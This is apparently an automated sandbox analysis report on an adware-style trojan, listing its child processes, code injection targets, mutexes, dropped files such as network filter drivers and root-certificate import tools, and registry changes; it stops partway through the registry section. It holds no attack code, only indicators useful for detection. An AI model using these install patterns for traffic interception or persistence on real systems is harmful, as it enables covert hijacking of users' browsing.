Trojan.NSIS.StartPage_d73d8c00f9

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

net1.exe:1628
net1.exe:1924
net1.exe:1088
DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_ps.exe:1168
WdsManPro.exe:612
WdsManPro.exe:1012
DMZOYZYGB4j34h6c6LiO.exe:348
CashReminder.exe:616
net.exe:344
net.exe:1740
net.exe:136
QQBrowser.exe:1868
QQBrowser.exe:1912
wpm_v20.0.0.2301.exe:828
ActSys.exe:248
DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_a9.exe:224
DMZOYZYGB4j34h6c6LiO_is.exe:1808
SFKEX.exe:3300
nfregdrv.exe:1932
nfregdrv.exe:624
SSFK.exe:2756
DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_br.exe:1628
SSFK_v2.0.6.26.exe:908
DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_nj.exe:1472
WNet.exe:1140
%original file name%.exe:1980

The Trojan injects its code into the following process(es):

CashReminder.exe:1136
ActSys.exe:464
WNet.exe:1240

Mutexes

The following mutexes were created/opened:

CTF.TMD.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Layouts.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Asm.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Compart.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.LBES.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003ZonesLockedCacheCounterMutexZonesCounterMutexZonesCacheCounterMutexRasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_ShimCacheMutex

File activity

The process DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_ps.exe:1168 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\mj (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\WmiInspector.dll (3039 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\nsA.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\NSISEncrypt.dll (3188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\lm (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\tlg (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\ns6.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\IpConfig.dll (4136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\nsJSON.dll (7 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\mj (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\tlg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\nsA.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\nsJSON.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\lm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\IpConfig.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\WmiInspector.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\ns6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc5.tmp\NSISEncrypt.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings (0 bytes)

The process DMZOYZYGB4j34h6c6LiO.exe:348 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\CashReminder\ssleay32.dll (12536 bytes)
%Program Files%\CashReminder\nfapi.dll (4992 bytes)
%Program Files%\CashReminder\remove.exe (313 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nskF.tmp (53797 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp\SimpleSC.dll (1856 bytes)
%Program Files%\CashReminder\libeay32.dll (41192 bytes)
%System%\drivers\crfilterdrv.sys (57 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp\SelfDel.dll (5 bytes)
%Program Files%\CashReminder\nfregdrv.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp\System.dll (11 bytes)
%Program Files%\CashReminder\CashReminder.exe (15536 bytes)
%Program Files%\CashReminder\crfilterdrv.sys (1856 bytes)
%Program Files%\CashReminder\ProtocolFilters.dll (12536 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp\SimpleSC.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp\SelfDel.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nskE.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp (0 bytes)
%Program Files%\CashReminder\crfilterdrv.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf10.tmp\System.dll (0 bytes)

The process CashReminder.exe:1136 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\rules[1].txt (314 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\stores[1].htm (784 bytes)
%WinDir%\Temp\P_StoreList.txt (784 bytes)
%WinDir%\Temp\P_RuleList.txt (314 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\P_StoreList.txt (0 bytes)
%WinDir%\Temp\P_RuleList.txt (0 bytes)

The process QQBrowser.exe:1868 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\istartsurf\bnd (2 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\uninstallDlg2.xml (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\HomePage.dat (157 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\645.json (524 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\z[1].php (0 bytes)

The process QQBrowser.exe:1912 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\645.db (179 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\SSFK_v2.0.6.26.exe (2771 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\UninstallManager.exe (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\HomePage.dat (157 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\wpm_v20.0.0.2301.exe (2772 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\bnd (2 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\z[1].php (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\wpm_v20.0.0.2301.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\645.db (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\SSFK_v2.0.6.26.exe (0 bytes)

The process wpm_v20.0.0.2301.exe:828 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Application Data\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.dat (178 bytes)
%Documents and Settings%\All Users\Application Data\rWdsManPror\WdsManPro.exe (2321 bytes)

The process ActSys.exe:464 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\Temp\ActSys\SSL\cert.db (1 bytes)
%WinDir%\Temp\ActSys\SSL\ActSSL 2.cer (2268 bytes)
%WinDir%\Temp\P_RuleList.txt (313 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\rules[1].txt (313 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\P_RuleList.txt (0 bytes)

The process DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_a9.exe:224 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\UninstallManager.exe (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\uninstallDlg2.xml (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\conf (79 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\QQBrowserFrame.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\7thGame (19 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\QQBrowser.exe (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\II.zip (24594 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\2[1].zip (89186 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\645.db (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\SSFK_v2.0.6.26.exe (15536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\xlxbqc (27504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\tmp\wpm_v20.0.0.2301.exe (15536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\ffv2#0.0.10.xpi (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\1[1].zip (86755 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\defsearchp@gmail.com!1.0.0.1039.xpi (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I.zip (20193 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\645.json (524 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\uninstallDlg2.xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\conf (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\defsearchp@gmail.com!1.0.0.1039.xpi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\QQBrowser.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\7thGame (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\II.zip (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\xlxbqc (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].finish,2 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].install (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\ffv2#0.0.10.xpi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I\QQBrowserFrame.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].2807&update4=nation,us&update5=language,en (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150912040309\I.zip (0 bytes)

The process DMZOYZYGB4j34h6c6LiO_is.exe:1808 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-O45KC.tmp\DMZOYZYGB4j34h6c6LiO_is.tmp (195 bytes)

The process SFKEX.exe:3300 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\SFK\Z (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\z[1].htm (42 bytes)
%Program Files%\SFK\SFK.ini (122 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\z[1].htm (0 bytes)

The process SSFK.exe:2756 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\SFK\SFKEX64.dll (14184 bytes)
%Program Files%\SFK\Yrrehs.zip (291 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
%Program Files%\SFK\SFKEX.exe (3616 bytes)
%Program Files%\SFK\Run (72 bytes)
%Program Files%\SFK\SFKEX.dll (12088 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
%Program Files%\SFK\SFKEX64.exe (4992 bytes)
%Program Files%\SFK\Heartbeat (72 bytes)

The process DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_br.exe:1628 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\WNet\nfregdrv.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn8.tmp (53652 bytes)
%Program Files%\WNet\WNet.exe (15168 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp\System.dll (11 bytes)
%Program Files%\WNet\ProtocolFilters.dll (12536 bytes)
%Program Files%\WNet\ssfilterdrv.sys (1856 bytes)
%System%\drivers\ssfilterdrv.sys (57 bytes)
%Program Files%\WNet\ssleay32.dll (12536 bytes)
%Program Files%\WNet\nfapi.dll (4992 bytes)
%Program Files%\WNet\libeay32.dll (41192 bytes)
%Program Files%\WNet\uninst.exe (2353 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp\SimpleSC.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp\SelfDel.dll (5 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp\System.dll (0 bytes)
%Program Files%\WNet\ssfilterdrv.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp\SimpleSC.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy9.tmp\SelfDel.dll (0 bytes)

The process SSFK_v2.0.6.26.exe:908 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\SFK\SSFK.exe (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
%Program Files%\SFK\install (72 bytes)
%Program Files%\SFK\SFK.ini (153 bytes)

The process DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_nj.exe:1472 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\ns11.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\import_root_cert.exe (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\certutil.exe (3312 bytes)
%Program Files%\ActSys\ActSys.exe (15536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\import.bat (69 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\actssl.cer (756 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\SelfDel.dll (5 bytes)
%System%\drivers\asfilterdrv.sys (57 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszC.tmp (107747 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\nspr4.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\nss3.dll (12536 bytes)
%Program Files%\ActSys\remove_ActSys.exe (825 bytes)
%Program Files%\ActSys\ssleay32.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\plds4.dll (784 bytes)
%Program Files%\ActSys\nfapi.dll (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\plc4.dll (784 bytes)
%Program Files%\ActSys\asfilterdrv.sys (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\mozcrt19.dll (23936 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\softokn3.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\smime3.dll (3616 bytes)
%Program Files%\ActSys\libeay32.dll (41192 bytes)
%Program Files%\ActSys\nfregdrv.exe (1552 bytes)
%Program Files%\ActSys\ProtocolFilters.dll (38904 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\SimpleSC.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\System.dll (11 bytes)

The Trojan deletes the following file(s):

%Program Files%\ActSys\asfilterdrv.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\SelfDel.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\ns11.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\SimpleSC.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp\nsExec.dll (0 bytes)

The process WNet.exe:1240 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\rules[1].txt (232 bytes)
%WinDir%\Temp\P_RuleList.txt (232 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\P_RuleList.txt (0 bytes)

The process %original file name%.exe:1980 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\310714_br[1].exe (88107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp\registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiO_is.exe (52816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\css[1].css (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\4fu8RBPDDCYpod03lr_bYQ[1].eot (7556 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp (2104 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\go[1].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_a9.exe (21968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\0053.urlshortener[2].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\0053.urlshortener[1].js (1218 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\0053.urlshortener[1].js (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\240714_ps[1].exe (33816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\MrqsDW[1] (700 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\G5MRO1IJ\MrqsDW[1].htm (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiO.exe (84591 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp\nsWeb.dll (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\291014_nj[1].exe (191016 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\url_shortener_logo[1].gif (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_ps.exe (33816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\310714_a9[1].exe (21968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_br.exe (88107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_nj.exe (191016 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\280815_cr[1].exe (84591 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\0053.urlshortener[1].css (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1XTV0ATG\310714_is[1] (52816 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nss3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\26FF7QJ6\0053.urlshortener[1].css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiO_mb_1.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8LAJK5EF\0053.urlshortener[1].js (0 bytes)

Registry activity

The process net1.exe:1628 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C4 67 97 30 58 37 DA 15 1F C9 EA 67 3D 42 A2 8E"

The process net1.exe:1924 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4E 53 7F B1 74 36 B7 37 74 A7 9E 80 0B 68 46 50"

The process net1.exe:1088 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8A B1 36 D6 4E F2 75 D0 72 15 98 2B D3 9F 39 7A"

The process DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_ps.exe:1168 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D9 5A FD 8F 8B 90 89 46 58 92 EF 54 37 D1 74 3D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
